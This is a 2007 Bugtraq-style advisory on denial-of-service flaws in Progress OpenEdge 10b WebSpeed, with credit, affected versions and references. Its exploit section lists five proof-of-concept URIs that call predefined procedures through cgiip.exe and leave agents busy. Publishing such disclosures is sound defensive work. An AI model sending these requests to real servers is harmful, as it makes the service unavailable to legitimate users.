Progress OpenEdge Multiple Denial Of Service Vulnerabilities

Bugtraq ID:	23926
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 11 2007 12:00AM
Updated:	May 15 2007 07:58PM
Credit:	Eelko Neven is credited with the discovery of these vulnerabilities.
Vulnerable:	Progress Software OpenEdge 10 b
Not Vulnerable:	Progress Software OpenEdge 10.1C Progress Software OpenEdge 10.1B02

Progress OpenEdge Multiple Denial Of Service Vulnerabilities

OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.

This issue affects OpenEdge 10b; other versions may also be vulnerable.

Progress OpenEdge Multiple Denial Of Service Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r

Progress OpenEdge Multiple Denial Of Service Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

The vendor reports that these issues will addressed in upcoming releases.

Progress OpenEdge Multiple Denial Of Service Vulnerabilities

References:

• ID: P123694 WebSpeed agents stay busy when calling predefined procedures with no (Progress)
  
• ID: P123762 Recently Discovered WebSpeed Security Issues (Progress)
  
• OpenEdge Product Page (Progress)
  
• Multiple Denial of Service attacks possible for Webspeed OpenEdge (Eelko Neven)